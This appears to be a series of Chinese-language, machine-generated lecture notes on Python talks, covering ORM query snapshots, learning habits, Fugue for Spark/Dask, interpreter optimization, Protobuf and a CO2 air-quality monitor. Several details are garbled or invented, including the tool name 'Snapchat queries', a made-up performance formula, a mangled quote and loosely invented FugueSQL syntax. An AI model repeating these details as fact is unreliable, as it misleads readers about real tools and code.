总而言之,Python使得网络抓取入门非常简单,但处理大规模、高可靠性的抓取任务则需要精心的设计和分布式技术的支持。分布式抓取通过并行化和系统化设计,有效解决了速度、可靠性和规模的问题,但同时也带来了更高的复杂度和资源成本。希望本教程能为你构建自己的分布式抓取系统提供清晰的路线图和实用见解。
048:通过快照提高应用性能 🚀

在本节课中,我们将学习如何通过查询优化和快照测试来提升数据库驱动的应用性能,避免单纯依赖昂贵的基础设施扩展。

概述

大家好,我是胡安·冈萨雷斯。本次演讲将探讨应用性能优化,特别是数据库瓶颈的解决方案。许多应用在快速增长时都会遇到数据库性能问题。虽然垂直扩展(升级硬件)和水平扩展(如分片、读写分离)是常见方法,但查询优化是一种能直接降低数据库负载和基础设施成本的有效途径。
然而,在使用了对象关系映射(ORM)的Python应用(如Django)中进行查询优化颇具挑战。接下来,我们将分析这些挑战,并介绍一个名为“Snapchat queries”的开源工具,它通过查询快照帮助我们高效地进行性能调优。
数据库性能问题的根源
许多应用最初都采用单服务器数据库模型。这虽然简单,但也使数据库成为单点故障和性能瓶颈。数据库的大量输入/输出(I/O)操作本质上是缓慢的。因此,当应用变慢时,数据库往往是首要怀疑对象。


性能优化的两大方向

改善数据库性能主要分为两类。

1. 基础设施扩展
这包括两种方式:
- 垂直扩展:增强单一数据库服务器的能力,例如升级CPU、增加RAM或使用更快的磁盘。
- 公式:
性能提升 ≈ (新CPU能力 + 新RAM) / 旧配置
- 公式:
- 水平扩展:将数据库拆分开来,例如:
- 添加只读副本处理查询。
- 进行数据库分片,将数据分布到多个服务器。
2. 查询优化
查询优化是指重写SQL查询,使其以更高效的方式完成相同工作,从而减轻数据库负担。与需要额外花钱的基础设施扩展不同,查询优化能直接降低运营成本和系统复杂性。

然而,查询优化非常困难,因为没有适用于所有应用的通用步骤。每个应用的查询都是独特的,需要深入分析。


ORM带来的挑战
在Python生态中,Django、SQLAlchemy等ORM(对象关系映射)工具非常流行。它们允许开发者用面向对象的方式操作数据库,但同时也让查询优化变得更复杂。

上一节我们介绍了查询优化的价值,本节中我们来看看使用ORM时具体会面临哪些难题。

以下是使用ORM(以Django为例)进行查询优化时常见的三个问题:
- 代码与SQL的差异:ORM生成的SQL可能远比对应的Python代码复杂。开发者看到的Python代码可能只暗示操作一个表,但实际执行的SQL可能涉及多个表的连接。
- 代码示例(Django):
# Python代码:获取客户“Juan”订购的所有菜品 dishes = Dish.objects.filter(order__customer__name='Juan') - 实际可能生成的SQL(简化):
SELECT * FROM dish INNER JOIN order ON dish.order_id = order.id INNER JOIN customer ON order.customer_id = customer.id WHERE customer.name = 'Juan';
- 代码示例(Django):

- 查询触发点不明确:在复杂的Python调用链中,很难确定ORM查询具体在何时、何地以及为何被触发。开发者需要清晰的堆栈跟踪来定位问题源头。

- N+1查询问题:ORM使得关联查询变得容易,但也极易意外地触发“N+1查询”问题。即,先执行1次查询获取主对象列表,然后为列表中的每个对象再执行1次查询获取关联数据。
- 低效代码示例:
orders = Order.objects.filter(dish__code='beef') # 查询1:获取所有牛肉订单 for order in orders: print(order.customer.name) # 为每个订单触发一次查询,获取客户名 - 高效代码示例(使用
select_related或prefetch_related):orders = Order.objects.filter(dish__code='beef').select_related('customer') for order in orders: print(order.customer.name) # 关联数据已预先获取,无额外查询
- 低效代码示例:
这些问题使得查询优化看起来令人生畏,但通过合适的工具,这个过程可以变得简单。
解决方案:查询快照工具
面对这些挑战,我们开发并开源了一个名为 Snapchat queries 的工具。它的核心目标是:在本地开发的任何阶段(而不仅限于浏览器调试),都能清晰地捕获、展示和分析由ORM执行的每一个查询。

该工具是一个上下文管理器,基本用法如下:
from snapchat_queries import snapshot_queries
with snapshot_queries() as queries:
# 执行你的ORM代码
customer = Customer.objects.get(name='Juan')
order = Order.objects.create(customer=customer)
# ...
# 退出上下文后,可以分析捕获到的所有查询
for query in queries:
print(query.sql, query.duration, query.stack_trace)
工具的核心特性
以下是该工具提供的五个关键特性,按实用性升序排列:
特性五:基础查询捕获
捕获代码块内执行的所有查询,并提供每条查询的SQL、执行时间和触发它的单行Python代码。
特性四:美观的终端输出
将捕获的查询以格式清晰、带颜色高亮的方式打印到终端,快速提供性能快照。
特性三:完整的堆栈跟踪
提供触发查询的完整Python调用堆栈。这对于理解在复杂的代码库中查询是如何被触发的至关重要。
特性二:相似查询检测与分组
自动检测并分组除了参数值不同外完全相同的SQL查询。这是发现和解决 N+1查询问题 的利器。
# 工具会提示:检测到X个相似的查询,可能存在N+1问题。
similar_groups = queries.group_similar()
特性一(最强):查询快照测试
这是受前端“HTML快照测试”启发而产生的功能。我们将热点代码路径执行的查询(包括SQL和堆栈信息)保存为“快照”文件。在后续的测试运行中,会重新执行代码并对比快照。
- 如果快照未变:测试通过,说明性能特征稳定。
- 如果快照变化:测试失败,并显示差异。这能立即警示开发者是否有新的、可能低效的查询被引入。
这项功能将性能回归测试自动化,成为了我们保障代码质量、安心部署的日常实践。
总结
本节课中我们一起学习了:
- 应用性能瓶颈常源于数据库,优化有基础设施扩展和查询优化两条路径。
- 在使用了ORM的Python应用中进行查询优化面临三大挑战:代码与SQL脱节、触发点不明、易产生N+1查询。
- 通过 Snapchat queries 这类查询快照工具,我们可以有效地捕获、分析和监控ORM查询,使查询优化过程变得可视化、可管理。
- 特别是查询快照测试功能,能够像单元测试一样,持续守护应用的性能基线,防止性能回归。
查询优化虽难,但借助正确的工具和方法,它可以成为提升应用性能、降低成本的强大手段。

工具链接:https://github.com/[组织名]/snapchat-queries (请扫描演讲中的二维码获取)
关于我们:如果你对CDER感兴趣,欢迎访问 cedar.com/careers 查看职位机会。
感谢大家!


[掌声]
049:谈话 - 凯利·舒斯特-帕雷德斯 & 肖恩·提博尔


概述
在本节课中,我们将探讨如何借鉴12岁孩子的学习方式,来更高效、更有趣地学习Python。我们将深入分析好奇心、感官参与、情感投入、承担风险以及元认知反思这五个核心要素,并学习如何将它们“黑客”到我们自己的学习过程中。
1. 保持好奇心 🧐
上一节我们介绍了课程的整体目标,本节中我们来看看第一个关键要素:好奇心。孩子们天生充满好奇心,这种广泛的求知欲是他们学习的强大驱动力。作为成年人,我们需要重新激活这种认知技能,将其视为可以锻炼的“心智肌肉”。
以下是培养好奇心的具体方法:
- 质疑一切:在学习代码时,不断问“这是如何工作的?”和“为什么这样有效?”。即使不能深究到最底层,这种追问也能加深理解。
- 探索未知代码:主动阅读与自己习惯不同的代码示例,例如《流畅的 Python》这类书籍,或研究PyPI上的各种库,看看Python还能做什么。
- 寻找“坏”代码:在GitHub上搜索项目,分析他人代码中“不够好”或“糟糕”的实现。思考“为什么这样做是错误的?”,这能反向巩固最佳实践。
2. 调动多重感官 👐👃
仅仅依靠视觉(看屏幕)和触觉(敲键盘)来学习是远远不够的。调动所有感官可以创造更丰富的学习体验,帮助大脑建立更牢固的记忆连接。
调动感官学习的关键在于创造独特的学习“仪式感”:
- 关联特定感官:例如,手握一杯热咖啡的香气、温度和味道,可以给大脑发出“现在是学习时间”的信号。
- 关注整体体验:在学习时,不仅关注看到的内容,还要留意自己的感受和整个环境的氛围。
3. 与情感共学,而非对抗 😄😤
情感是让知识持久留存的关键。孩子们会直接表达学习中的挫败感和成功后的喜悦,而成人常常压抑情感。我们需要学会识别并利用情感来促进学习。
以下是利用情感优化学习的策略:
- 拆分学习任务:将大目标分解为小块,缩短奖励周期。每完成一个小任务,就能获得一次成就感(多巴胺分泌)。例如,采用番茄工作法(学习25分钟,休息5分钟)。
- 建立内在奖励:与其依赖外在奖励(如吃块巧克力),不如创造内在奖励(如在社交媒体分享成果),这更能从内心激发积极情绪。
- 检查情绪状态:定期问自己“我现在感觉如何?”。识别压力(它会释放皮质醇,阻碍记忆形成)并主动调整,确保自己处于有利于学习的状态。
4. 勇于承担智力风险 🚀
孩子们在安全的环境下乐于尝试和冒险,这加速了他们的学习和创造性连接。成人大脑有约20%用于抑制风险,这有时会阻碍学习。我们需要主动创造可以“安全失败”的空间。
以下是承担学习风险的方法:
- 学习跨界知识:如果你是Web开发者,可以尝试学习数据科学或硬件编程,建立新的知识连接。
- 尝试教学:教别人是巩固学习并承担自尊风险的有效方式。正如凯利所说:“我一生中从未写过一行代码。而现在她教过成千上万的学生。”
- 寻找“更糟糕”的方法:故意尝试构建你认为可能会失败的东西。如果成功了,回报巨大;如果失败了,你也能从中学到宝贵经验。
5. 进行元认知反思 🤔
元认知即“对思考的思考”,是巩固学习、将短期记忆转化为长期记忆的关键步骤。通过反思学习过程本身,我们可以成为更高效的学习者。
以下是实践元认知反思的工具:
- 定期反思:每天或每次学习后,问自己:“我今天学到了什么?”或“我之前不知道什么?”
- 应用“开始、停止、继续”框架:
- 开始:我将在学习中开始做什么新事情?(例如,开始尝试使用
requests库) - 停止:我将停止做什么低效的事情?(例如,停止过度使用
turtle模块做演示) - 继续:我将继续做什么有效的事情?(例如,继续用
pygame制作简单应用)
- 开始:我将在学习中开始做什么新事情?(例如,开始尝试使用
总结与挑战
本节课中,我们一起学习了如何像12岁孩子一样,通过激发好奇心、调动多重感官、善用情感力量、勇于智力冒险和坚持元认知反思来“黑客”你的Python学习过程。
现在,我们对你提出挑战:
- 学习一件让你有点害怕的新事物。
- 在你的学习过程中加入定期的反思环节。
- 更加关注并优化你学习新知识的方式。
记住肖恩分享的那句名言:“我总是寻找我不能做的事情,以便我能学会做它们。” 开始行动吧!

(课程结束)
050:概述与挑战


在本节课中,我们将学习如何将单机运行的Python和Pandas代码扩展到分布式计算环境中。我们将探讨传统扩展方法(如类Pandas和类SQL语义层)的局限性,并介绍Fugue如何作为一个更优的抽象层来解决这些问题。
扩展Python和Pandas代码的需求源于其固有的限制。Pandas默认是单核运行的,内存效率不高,并且其处理能力受限于单台机器的资源。当数据量增长或计算复杂度增加时,这些限制会成为瓶颈。为了突破这些瓶颈,我们需要借助分布式计算框架,如Spark、Dask或Ray。然而,直接使用这些框架需要学习新的语法和概念,迁移成本很高。因此,出现了“语义层”作为桥梁,将用户熟悉的逻辑映射到分布式框架上执行。
Python与Pandas扩展方法比较:2:传统语义层的局限性
上一节我们介绍了扩展代码的必要性。本节中,我们将深入探讨两种常见的传统语义层——类Pandas语义和类SQL语义——各自存在的缺陷。
类Pandas语义的挑战
类Pandas语义(如Modin、Koalas)试图让用户用Pandas语法编写代码,然后在分布式后端执行。然而,Pandas的许多基本假设在分布式环境中并不成立,导致接口不一致和执行行为难以预测。
以下是几个关键的不匹配点:
- 随机访问的代价:Pandas的
iloc等操作假设随机访问是廉价的,但在分布式系统中,数据分散在不同节点,随机访问代价高昂。- 代码示例:
df.iloc[500000]在Pandas上很快,但在Spark上可能慢15倍。
- 代码示例:
- 自然顺序的保留:Pandas会保持数据的自然顺序,但在分布式系统中,全局排序非常昂贵且并非总是有明确定义。
- 代码示例:对分布式数据框排序后计算差异,结果可能与Pandas不同。
- 数据洗牌的优化:在Pandas中,某些优雅的写法(如排序后去重)可能比另一种写法(如分组求索引再连接)更快。但在分布式系统中,后者可能通过避免大规模数据洗牌而快得多。用户不得不在代码优雅性和性能之间做出艰难选择。
- 索引的效率:Pandas的索引能加速查询,但在分布式后端中,
set_index后的查询性能可能反而不如直接查询,且多重索引支持不完全。 - 惰性求值的陷阱:Spark、Dask等框架采用惰性求值来优化。如果不理解这一点,简单的操作(如多次计算不同统计量)可能导致同一数据被重复读取多次,性能急剧下降。而Pandas是即时求值的,行为可预测。
类SQL语义的挑战
使用SQL(特别是CTE公用表表达式)来描述复杂逻辑是另一种常见做法,但它也存在问题:
- 语法冗长:CTE要求为每个子查询命名并嵌套括号,代码冗长且起名困难。
- 供应商锁定:SQL语句中常包含特定平台的语法(如
parquet.file),可移植性差。 - 缺乏关键控制:SQL没有原生语法来控制持久化(缓存中间结果以避免重复计算)或广播变量等优化手段。
- 逻辑拆分:为了实现持久化等优化,常常需要将一个完整的逻辑单元拆分成多个SQL语句执行,降低了代码的可读性和可维护性。
- 开发迭代慢:处理大数据时,每次修改SQL查询都可能需要从头重新执行所有子查询,开发试错成本高。
- 表达能力有限:对于复杂的逐组处理(
groupby-apply)或改变数据形状的转换,纯SQL表达起来非常繁琐甚至无法实现。
Python与Pandas扩展方法比较:3:Fugue解决方案
在了解了传统方法的不足后,本节我们来看看Fugue如何作为一个统一的抽象层,提供更简单、直观且高性能的扩展方案。
Fugue的核心思想是:让用户用自己最熟悉的语法(Python原生函数、Pandas或SQL)描述计算逻辑,然后由Fugue负责将其移植到不同的分布式计算引擎(Spark、Dask)上执行。它旨在降低维护成本,加快大数据项目的迭代速度。
基本使用示例
假设我们有一个简单的映射操作,用Pandas实现如下:
import pandas as pd
input_df = pd.DataFrame({"id": [0, 1, 2], "value": ["apple", "banana", "cherry"]})
map_dict = {"apple": "fruit", "banana": "fruit", "cherry": "berry"}
# Pandas实现
def map_to_food(df: pd.DataFrame) -> pd.DataFrame:
df["food"] = df["value"].map(map_dict)
return df
result_pandas = map_to_food(input_df.copy())
如果要将此逻辑迁移到Spark,通常需要重写代码。而使用Fugue,只需将函数封装为一个“转换”:
from fugue import transform
from pyspark.sql import SparkSession
# 同样的函数,无需修改
def map_to_food(df: pd.DataFrame) -> pd.DataFrame:
df["food"] = df["value"].map(map_dict)
return df
# 在Pandas上运行
result_local = transform(input_df, map_to_food, schema="*, food:str")
print(result_local)
# 在Spark上运行,只需指定引擎
spark_session = SparkSession.builder.getOrCreate()
result_spark = transform(input_df, map_to_food, schema="*, food:str", engine=spark_session)
result_spark.show()
关键点:transform函数、用户定义的逻辑函数、输出模式schema。通过切换engine参数,同一份逻辑可以在不同后端执行。
灵活的函数定义
Fugue不仅支持Pandas函数,也支持纯Python函数,使其更加灵活:
# 方式1: 输入输出都是Pandas DataFrame
def map_to_food_pd(df: pd.DataFrame) -> pd.DataFrame:
df["food"] = df["value"].map(map_dict)
return df
# 方式2: 输入输出都是Python列表
def map_to_food_py(rows: List[List[Any]]) -> List[List[Any]]:
for row in rows:
row.append(map_dict[row[1]]) # 假设结构是 [id, value]
return rows
# 两种函数都可以通过 `transform` 在Pandas或Spark上执行
增强的SQL与Python集成
Fugue提供了增强的SQL接口(FugueSQL),解决了传统SQL的诸多痛点:
- 简化语法:无需强制使用CTE和层层嵌套。
- 避免供应商锁定:使用
LOAD等关键字,Fugue会适配到当前引擎。 - 内置优化控制:直接使用
PERSIST关键字来缓存中间结果,无需拆分查询。 - 无缝集成Python:在SQL中可以直接调用Python函数处理数据,特别适合复杂的分组转换或UDF。
FugueSQL示例对比:
-- 传统Spark SQL (冗长,需要CTE)
WITH step1 AS (SELECT ... FROM ...),
step2 AS (SELECT ... FROM step1 ...)
SELECT ... FROM step2 ...;
-- FugueSQL (更简洁,支持PERSIST)
result = SELECT ... FROM df TRANSFORM USING python_func PERSIST;
通过TRANSFORM USING子句,可以将数据传递给一个Python函数进行处理,结合了SQL的声明性和Python的灵活性。
Python与Pandas扩展方法比较:4:总结
本节课中我们一起学习了扩展Python和Pandas代码的不同路径及其挑战。
我们首先认识到,由于Pandas的单机与内存限制,迈向分布式计算是处理更大规模数据的必然选择。然而,直接使用分布式框架学习曲线陡峭。
接着,我们分析了两种常见的迁移方案:
- 类Pandas语义层(如Modin):虽然降低了入门门槛,但由于Pandas与分布式系统底层原理的差异,导致接口不一致、性能不可预测,最终可能仍需编写后端特定的优化代码,造成“供应商锁定”。
- 类SQL语义层:虽然强大,但语法冗长、缺乏对持久化等优化的直接控制、开发迭代慢,并且难以表达复杂的非标量转换。
最后,我们介绍了Fugue作为解决方案。Fugue作为一个抽象层,允许用户用原生Python、Pandas或增强的SQL来描述逻辑,然后统一执行在Pandas、Spark或Dask等引擎上。它通过提供一致的接口和关键优化控制(如PERSIST),在保持代码简洁和直观的同时,让用户能遵循分布式计算的最佳实践,从而降低迁移成本,提升开发效率和运行时性能。

从本地计算到分布式计算的过渡,就像从整数到实数的扩展,需要学习和思维方式的转变。Fugue的目标不是提供魔法,而是让这个转变过程更加平滑和可控。
051:为现代Python解释器编写高效代码 🚀

概述
在本节课中,我们将学习现代Python解释器如何通过优化来提升代码执行速度,以及作为开发者,我们应如何调整编码习惯以适应这些变化,从而编写出更高效的Python代码。
Python为何运行缓慢?🐢
在探讨如何优化之前,我们首先需要理解Python运行缓慢的常见原因。这并非单一因素导致,而是多种动态特性共同作用的结果。
核心原因分析
- 解释开销:Python是解释型语言,执行前需要解释字节码。虽然这带来了灵活性,但也引入了额外的开销。
- 动态类型:变量无需预先声明类型,解释器在运行时需要不断检查和推断类型,增加了操作成本。
- 动态变量查找:即使是内置函数如
print,每次调用时解释器也需要执行完整的名称查找过程,以确认其未被重写。 - 动态属性:对象属性通常在运行时动态添加或修改,这通常需要字典(哈希表)来支持,访问速度慢于静态语言的直接内存访问。
上一节我们介绍了Python性能的主要瓶颈,本节中我们来看看当前有哪些项目正在致力于解决这些问题。
现代Python优化项目概览 🛠️
目前,有几个重要的项目正在推动Python性能的边界。了解它们有助于我们理解性能提升的来源。
以下是几个主要的Python优化项目及其特点:
- Pyston:由Anaconda维护的CPython分支,专注于性能优化。
- Faster CPython:直接在CPython代码库中进行优化,其成果已从Python 3.11开始逐步引入。
- Cinder:来自Instagram的CPython分支,专注于满足其特定的大规模应用需求。
- PyPy:一个使用即时编译(JIT)技术的Python实现,已存在较长时间,但在兼容性上做出了一些权衡。
这些项目的核心优化思想基于一个共同的理论:大部分代码在运行时并未充分利用Python的全部动态能力。因此,解释器可以快速检查代码是否“行为良好”(例如,未重写内置函数、对象形状稳定),如果满足条件,则切换到一条更快的执行路径。
这意味着,动态特性现在变成了“按使用付费”。你的代码越“静态”、越可预测,就能从这些新解释器中获得越多的性能收益。
针对开发者的性能编码建议 ✨
了解了优化原理后,我们可以调整编码实践,以更好地配合现代解释器的工作方式,从而获得额外性能提升。
1. 谨慎对待全局变量赋值
全局变量的动态查找是开销来源之一。现代解释器可以缓存查找结果,但对全局变量名进行重新赋值会破坏这种优化。
需要区分:
- 赋值:
my_global = new_value(会破坏优化) - 变异:
my_global.append(item)(通常不影响优化)
建议:尽量避免在程序初始化后对全局变量进行重新赋值。如果需要全局可变状态,可考虑将其封装在对象属性或字典中。
2. 保持对象属性的“形状”稳定
对象的“形状”指的是其拥有的属性集合及定义顺序。保持同类对象形状一致,有助于解释器进行优化。
影响性能的操作:
- 创建不同形状的对象:同类实例以不同顺序或集合初始化属性。
- 修改类的属性:在运行时动态修改类本身的属性(如
MyClass.new_attr = value)。
建议:
- 尽量以相同的顺序为类的所有实例初始化相同的属性集。
- 避免在运行时修改类本身的属性。
- 考虑使用
__slots__来明确声明对象的属性,这能提供最优的性能和内存表现。
3. 重新审视“缓存方法”的习惯
传统性能建议之一是在循环外缓存方法,以避免重复的属性查找开销。
# 传统优化做法
append_method = my_list.append
for item in items:
append_method(item)
然而,现代解释器能够识别“属性获取后立即调用”这种模式(即方法调用),并进行专门优化。手动缓存方法可能会阻碍这种优化。
建议:对于现代Python项目,可以停止刻意缓存方法调用。在大多数情况下,直接调用my_list.append(item)的可读性更好,且性能损失很小,有时甚至更快。保留现有代码即可,无需专门重写。
4. 理解C扩展的新权衡
将性能关键代码用C(或Rust)写成扩展模块,曾是提升性能的终极手段。但现在情况变得复杂。
- 新解释器的优化(如JIT、属性访问优化)仅作用于纯Python代码。
- C扩展无法利用这些新的、高级的优化。
因此,一部分过去用C扩展实现的性能提升,现在用纯Python配合新解释器也能达到,甚至更好。特别是面向对象的代码,在新解释器中可能比C扩展表现更优。
建议:在决定是否使用C扩展前,务必用目标Python版本和解释器进行基准测试。数值计算密集型任务可能仍适合C扩展,而业务逻辑复杂的代码可能更适合用优化的纯Python实现。


总结与工具现状 📝
本节课中我们一起学习了现代Python解释器的优化方向及其对编码习惯的影响。
核心总结:
- 趋势:现代Python实现正致力于让开发者“不为未使用的动态特性付费”。
- 机会:通过编写更“静态”、可预测的代码(如避免随意重赋值、保持对象形状稳定),我们可以从新解释器中获得额外性能奖励。
- 改变:一些旧的最佳实践(如缓存方法)可能不再适用或收益甚微。
- 复杂化:C扩展与纯Python之间的性能权衡变得更加情境化,依赖基准测试。
当前挑战:
遗憾的是,目前缺乏能够直接指出“因使用了XX动态特性导致YY优化被禁用”的分析工具。性能分析器在优化代码上也面临挑战。
最终建议:
基准测试是唯一的金科玉律。在追求性能时,务必针对你使用的特定Python解释器和版本,对你的代码进行实际测量。
通过调整编码风格,配合解释器的优化策略,我们可以在不牺牲Python表达力的前提下,写出运行更高效的现代Python代码。
052:你想知道的一切

在本教程中,我们将学习序列化的基本概念,并深入探讨Google的Protocol Buffers(Protobuf)。我们将了解什么是序列化、为什么需要它,以及如何高效地使用Protobuf进行数据编码和传输。课程内容将从基础概念开始,逐步深入到性能优化等高级主题。

变量与内存管理

任何有意义的程序都需要处理数据,而变量是我们在代码中标记、存储和处理信息的主要方式。在Python这样的高级语言中,解释器负责在内存中为变量分配空间并管理其值。
例如,执行 x = 5 时,解释器会找到一块内存地址来存储变量 x 的值 5。后续对 x 的读写操作都基于这个内存地址。

序列化的必要性
当应用程序需要与其他程序通信、将数据存储到文件或数据库,或者通过网络发送数据时,就需要将内存中的信息提取出来。这个过程就是序列化。
序列化的核心是将内存中的数据结构转换为一个字节流(或缓冲区)。这个字节流可以被保存、传输,并由其他应用程序或未来的自己读取和还原。
选择序列化框架的考量
在开始序列化之前,重要的是选择一个合适的框架,而不是自己编写。选择时需要考虑以下几个关键因素:
- 可移植性:序列化的数据能否被其他运行时(如Java、JavaScript)、操作系统或CPU架构读取?
- 类型系统:选择动态类型(灵活但可能缺乏验证)还是静态类型(提供数据验证和文档化)?
- 编码格式:选择人类可读的文本格式(如JSON)还是机器高效的二进制格式?
以下是几种流行的序列化框架对比:
- JSON:高度可移植的文本格式,易于阅读,是网络数据交换的事实标准。
- Pickle:Python内置的二进制序列化工具,使用简单,但可移植性差(仅限Python),且对代码变更敏感。
- Protobuf:Google开发的二进制协议,支持静态类型、高性能、优秀的向后/向前兼容性,并支持多种编程语言。
Protobuf 简介与快速入门
Protobuf因其高性能、强类型和跨语言支持而备受青睐。它通过定义 .proto 文件来描述数据结构,然后使用编译器生成特定语言的代码。
上一节我们介绍了选择序列化框架的要点,本节中我们来看看如何使用Protobuf。
1. 定义协议(.proto文件)
首先,你需要创建一个 .proto 文件来定义你的数据结构。
syntax = "proto3";
message User {
string name = 1;
string email = 2;
}
代码中,syntax 指定使用proto3版本。message 定义了一个名为 User 的数据结构,包含两个字段。每个字段都有其类型(如 string)和一个唯一的字段编号(如 1, 2)。字段编号用于二进制编码和兼容性管理,至关重要。

2. 编译协议文件
使用 protoc 编译器将 .proto 文件编译成目标语言的代码(这里是Python)。
protoc --python_out=. your_proto_file.proto
此命令会在当前目录生成一个Python文件(如 your_proto_file_pb2.py),其中包含了用于操作 User 消息的类。
3. 在Python中使用
生成代码后,你就可以在Python程序中轻松地序列化和反序列化数据了。
import your_proto_file_pb2 as pb

# 创建并填充消息对象
user = pb.User()
user.name = "Liran Haimovitch"
user.email = "liran@example.com"
# 序列化为字节串
serialized_data = user.SerializeToString()
print(f"Serialized data (hex): {serialized_data.hex()}")

# 从字节串反序列化
new_user = pb.User()
new_user.ParseFromString(serialized_data)
print(f"Name: {new_user.name}, Email: {new_user.email}")
这个过程样板代码极少,让序列化变得非常简单。
Protobuf 高级特性
Protobuf 支持丰富的数据类型和结构,以满足复杂场景的需求。

以下是 Protobuf 支持的一些核心特性:
- 基本数据类型:包括
string,bytes,bool, 各种整型(int32,int64等)和浮点型(float,double)。 - 嵌套消息:可以在一个
message内部定义另一个message,构建复杂对象。 - 重复字段(列表):使用
repeated关键字可以将字段定义为列表,例如repeated string tags = 3;。 - Oneof 联合:
oneof确保一组字段中只有一个会被设置,类似于联合体。 - 映射:
map<string, int32> scores = 4;用于序列化键值对,类似于字典。 - 枚举:
enum为数字提供有意义的名称,增加代码可读性。 - 保留字段:
reserved关键字可以标记不再使用的字段编号或名称,防止被意外重用,保障兼容性。
Protobuf 性能优化实战
在真实的高性能场景中,我们需要对 Protobuf 的使用进行优化。本节将分享一些从实战中总结的优化技巧。
假设我们正在开发一个调试工具,需要高效地序列化应用程序的整个状态(变量及其关系),这可能导致生成巨大的消息。
优化目标:降低序列化延迟、减少消息大小、降低CPU和内存消耗。
优化策略:
- 异步序列化:将耗时的序列化过程(如复制数据、打包元数据)移至后台线程执行,避免阻塞主应用程序。
- 字符串去重:在包含大量重复字符串(如属性名、类型名)的消息中,为每个唯一字符串分配一个ID并建立字典。序列化时只存储ID,大幅减少体积。
- 善用字段编号:Protobuf 使用变长整数编码。字段编号1-15的键仅占1个字节,16-2047的则占2个字节。将高频使用的字段编号设置在1-15范围内可以显著提升性能和减小尺寸。
- 合并字段:对于多个小值字段(如布尔值、小范围枚举),可以考虑使用位操作将它们合并到同一个整型字段中,以节省字段开销。
- 减少消息嵌套:每个
message都会引入额外的键和头部开销。在可能的情况下,采用扁平化的结构,避免不必要的消息包装,特别是对于oneof或repeated的简单类型字段。 - 启用C扩展:对于纯Python环境,可以通过设置环境变量
PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=cpp来启用Protobuf的C++后端实现,这通常能带来显著的性能提升(需安装对应包)。
通过应用这些策略(如将字段编号优化到1-15区间、扁平化结构、合并字段),在案例中实现了序列化延迟降低40%,消息大小减少近50%的效果。
总结
本节课中我们一起学习了序列化的核心概念以及如何有效使用 Protobuf。
我们了解到,序列化是将内存数据转换为可存储或传输的字节流的关键过程。Protobuf 作为一种强类型的二进制序列化框架,提供了出色的性能、跨语言支持和良好的兼容性。其使用流程包括定义 .proto 文件、编译生成代码以及在程序中进行序列化/反序列化操作。
对于高性能应用,我们可以通过一系列策略优化 Protobuf 的使用,例如优化字段编号、减少消息嵌套、合并字段以及启用原生扩展等。理解 Protobuf 的编码原理(如变长整数和键值编码)是进行这些优化的基础。


希望本教程能帮助你理解 Protobuf 的强大之处,并在你的项目中有效地应用它。
053:创建室内空气质量监测与预测系统 🏠

概述
在本节课中,我们将跟随玛利亚·何塞·莫利纳·孔特雷拉斯的讲座,学习如何创建一个室内空气质量监测和预测系统。我们将从项目动机开始,了解空气质量的重要性,然后逐步探索数据收集、监测、分析以及使用机器学习进行预测的全过程。
项目动机与背景 🤔
上一节我们介绍了课程的整体目标,本节中我们来看看启动这个项目的个人动机和科学背景。
随着生活方式的改变,特别是转向远程办公后,我长时间待在室内。我开始经历头痛和困倦,直到外出呼吸新鲜空气后才有所缓解。这让我怀疑是公寓的空气质量出了问题。
室内空气质量受多种因素影响:
- 居住人数:更多人意味着更多二氧化碳排放。
- 湿度与潮湿:高湿度环境容易滋生霉菌和真菌。
- 通风:开窗通风的效果并非总是那么简单。
- 污染源:例如工厂、火山或沙漠地区的不同环境影响。
通过阅读科学文献,我发现二氧化碳浓度是影响健康的关键指标之一。研究表明,高浓度的CO2会影响决策能力。虽然很难将健康问题单独归因于CO2,但它无疑是一个重要因素。
理解二氧化碳的影响 📈
在了解了项目背景后,我们深入探讨一下核心指标——二氧化碳的具体影响。
CO2浓度通常用ppm表示。一般来说:
- 低于1000 ppm:可以认为是良好的空气质量。
- 高于1000 ppm:可能开始对认知表现产生负面影响。
- 接近或超过2000 ppm:明确属于不良条件,可能导致头痛、困倦等不适。
核心公式:健康风险 ≈ f(CO2浓度, 湿度, 温度, 个人健康状况...)
需要注意的是,这是一个多变量函数,CO2是其中一个关键输入变量。
数据收集:从传感器到微控制器 🔌
既然我们知道了要监测什么,接下来看看如何获取数据。数据收集是整个系统的基础。
我的目标是使用传感器收集数据,监控公寓内的状况。我最初尝试保持简单。
最初尝试的组件清单如下:
- 传感器:PMSA003I(颗粒物传感器)和SCD30(CO2传感器)。
- 微控制器:QT Py。
- 编程语言:CircuitPython。
但QT Py没有无线功能,导致我无法远程收集数据。于是,我尝试了第二种方案。
第二次尝试的组件清单如下:
- 微控制器:ESP32(带Wi-Fi功能)。
- 编程环境:MicroPython。
这次虽然解决了数据传输问题,但在连接颗粒物传感器时遇到了技术瓶颈。为了推进项目,我决定采用更强大的方案。
系统搭建:使用树莓派 🖥️
上一节我们遇到了微控制器方案的局限,本节中我们转向功能更全面的树莓派方案。
最终,我使用了树莓派4B作为核心,它集成了Wi-Fi,并连接了一个触摸屏用于本地显示。这样,我既能收集数据,也能实时查看。

最终系统架构如下:
- 数据采集层:SCD30和PMSA003I传感器负责采集温度、湿度、CO2和颗粒物数据。
- 数据处理与存储层:树莓派4B接收并存储传感器数据。
- 数据传输:通过TCP套接字在设备间通信。
- 数据显示层:另一个树莓派运行Flask应用,在触摸屏上显示实时数据和预测结果。

收集到的数据会呈现出明显的波动。通过图表,我可以识别出CO2浓度较高的“不良”时段,这验证了监测的必要性。
数据分析:探索时间序列 📊
有了数据之后,我们如何从中提取信息呢?本节我们将数据视为时间序列进行分析。
时间序列是指按时间顺序索引的数据点序列。在我们的项目中,时间(索引)和CO2浓度(值)是核心要素。
代码示例:创建时间序列索引
# 假设df是一个Pandas DataFrame,包含‘timestamp’和‘co2’列
df.set_index(‘timestamp‘, inplace=True) # 将时间戳设为索引
分析时间序列图能揭示许多模式:
- 数值骤降:通常对应开窗通风或家中无人的时段(如度假)。
- 数值峰值:通常对应家中访客增多、通风不足的时段。
- 长期趋势:例如,冬季因减少开窗导致CO2基线水平上升,春季则下降。
预测模型:机器学习实战 🤖
监测让我们了解现状,而预测能帮助我们提前行动。本节我们利用机器学习来预测未来的CO2浓度。
我采用了基于卷积神经网络的时间序列预测方法。其核心思想是使用“滑动窗口”进行持续学习和预测。
滑动窗口预测流程如下:
- 训练:使用过去一段时间(如24小时)的数据训练CNN模型。
- 预测:模型预测下一个时间点(如下一小时)的CO2值。
- 滑动:将窗口向前移动,纳入最新的真实数据。
